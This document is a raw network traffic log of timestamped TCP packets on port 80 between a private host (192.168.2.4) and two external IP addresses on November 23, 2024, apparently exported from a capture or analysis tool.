Nov 23, 2024 03:21:24.814156055 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.814212084 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.814227104 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.814326048 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.840887070 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.840929031 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.840992928 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.841085911 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.841480970 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.841543913 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.841639996 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.841798067 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.842649937 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.842756987 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.842797041 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.842797041 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.843846083 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.843945980 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.844085932 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.845073938 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.845130920 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.845133066 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.845185041 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.846230030 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.846291065 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.846333981 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.846398115 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.847403049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.847453117 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.847507000 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.847595930 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.848603010 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.848669052 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.848711967 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.848759890 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.849805117 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.849843979 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.849905968 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.849956989 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.851017952 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.851114035 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.851125002 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.851257086 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.852194071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.852245092 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.852262974 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.852277994 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.852773905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.852840900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.852894068 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.853288889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.853375912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.853388071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.853432894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.853470087 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.853532076 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.853532076 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.854334116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.854440928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.854487896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.854537010 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.854665995 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.854669094 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.854733944 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.855424881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.855623960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.855674028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.855798960 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.855842113 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.855860949 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.855874062 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.856343031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.856447935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.856493950 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.856935978 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.857011080 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.857042074 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.857091904 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.857336998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.857455969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.858103037 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.858155966 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.858212948 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.858248949 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.858248949 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.858375072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.858582020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.858637094 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.859307051 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.859357119 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.859411001 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.859421968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.859432936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.859457970 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.859477997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.860414982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.860492945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.860513926 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.860526085 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.860568047 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.860582113 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.860582113 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.861426115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.861535072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.861584902 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.861660004 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.861746073 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.861777067 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.861985922 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.862426043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.862535000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.862598896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.862857103 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.862912893 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.862957954 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.863027096 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.863452911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.863559961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.863605022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.864056110 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.864109993 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.864180088 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.864217043 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.864473104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.864576101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.864681959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.865241051 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.865335941 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.865401983 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.865401983 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.865503073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.865591049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.865648031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.866416931 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.866542101 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.866543055 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.866553068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.866564035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.866626024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.866631985 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.867516041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.867634058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.867645979 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.867691040 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.867733955 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.867832899 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.867832899 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.868532896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.868659019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.868717909 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.868787050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.868908882 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.868998051 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.869549036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.869662046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.869709969 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.869981050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.870081902 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.870096922 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.870134115 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.870613098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.870711088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.870755911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.871184111 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.871236086 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.871292114 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.871330023 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.871594906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.871697903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.872378111 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.872433901 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.872493029 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.872534037 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.872534037 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.872597933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.872687101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.872951984 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.873574972 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.873637915 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.873650074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.873678923 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.873724937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.873764992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.874653101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.874747992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.874818087 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.874829054 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.874896049 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.874900103 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.875679016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.875747919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.875825882 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.875922918 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.875988007 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.876025915 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.876084089 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.876676083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.876776934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.876847982 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.877120018 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.877191067 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.877230883 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.877309084 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.877695084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.877801895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.877896070 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.878323078 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.878411055 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.878439903 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.878659010 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.878695011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.878819942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.878896952 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.879508972 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.879617929 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.879712105 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.879722118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.879823923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.879872084 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.880700111 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.880744934 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.880758047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.880774975 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.880774975 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.880832911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.880882978 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.881743908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.881882906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.881944895 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.881956100 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.881968021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.881977081 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.881997108 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.882767916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.882889032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.882936001 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.883058071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.883126020 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.883162022 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.883374929 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.883774042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.883866072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.883912086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.884253979 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.884299994 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.884368896 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.884469986 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.884785891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.884876013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.884917974 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.885473013 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.885550022 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.885580063 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.885616064 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.885813951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.885935068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.885977983 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.886665106 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.886760950 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.886817932 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.886877060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.886887074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.886928082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.887829065 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.887877941 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.887890100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.887923956 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.887923956 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.887952089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.888859987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.888891935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.888969898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.889030933 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.889039040 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.889050961 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.889091015 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.889091015 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.889914036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.890002966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.890079975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.890206099 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.890310049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.890335083 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.890374899 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.890918016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.891005039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.891062975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.891390085 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.891505957 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.891590118 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.891932964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.892024040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.892079115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.892577887 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.892627001 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.892668962 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.892843008 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.892930984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.893027067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.893335104 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.893789053 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.893874884 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.893915892 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.893970966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.893978119 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.893981934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.894030094 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.894963026 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.895009041 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.895021915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.895068884 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.895098925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.895162106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.896013021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.896085978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.896127939 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.896220922 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.896233082 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.896316051 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.897000074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.897119999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.897170067 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.897341967 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.897418022 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.897505999 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.897551060 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.898014069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.898103952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.898149014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.898528099 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.898597002 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.898804903 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:24.898865938 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:24.899009943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.899137974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.899204016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.899236917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:24.900046110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.900146008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:24.900352955 CET	49786	80	192.168.2.4	34.116.198.130
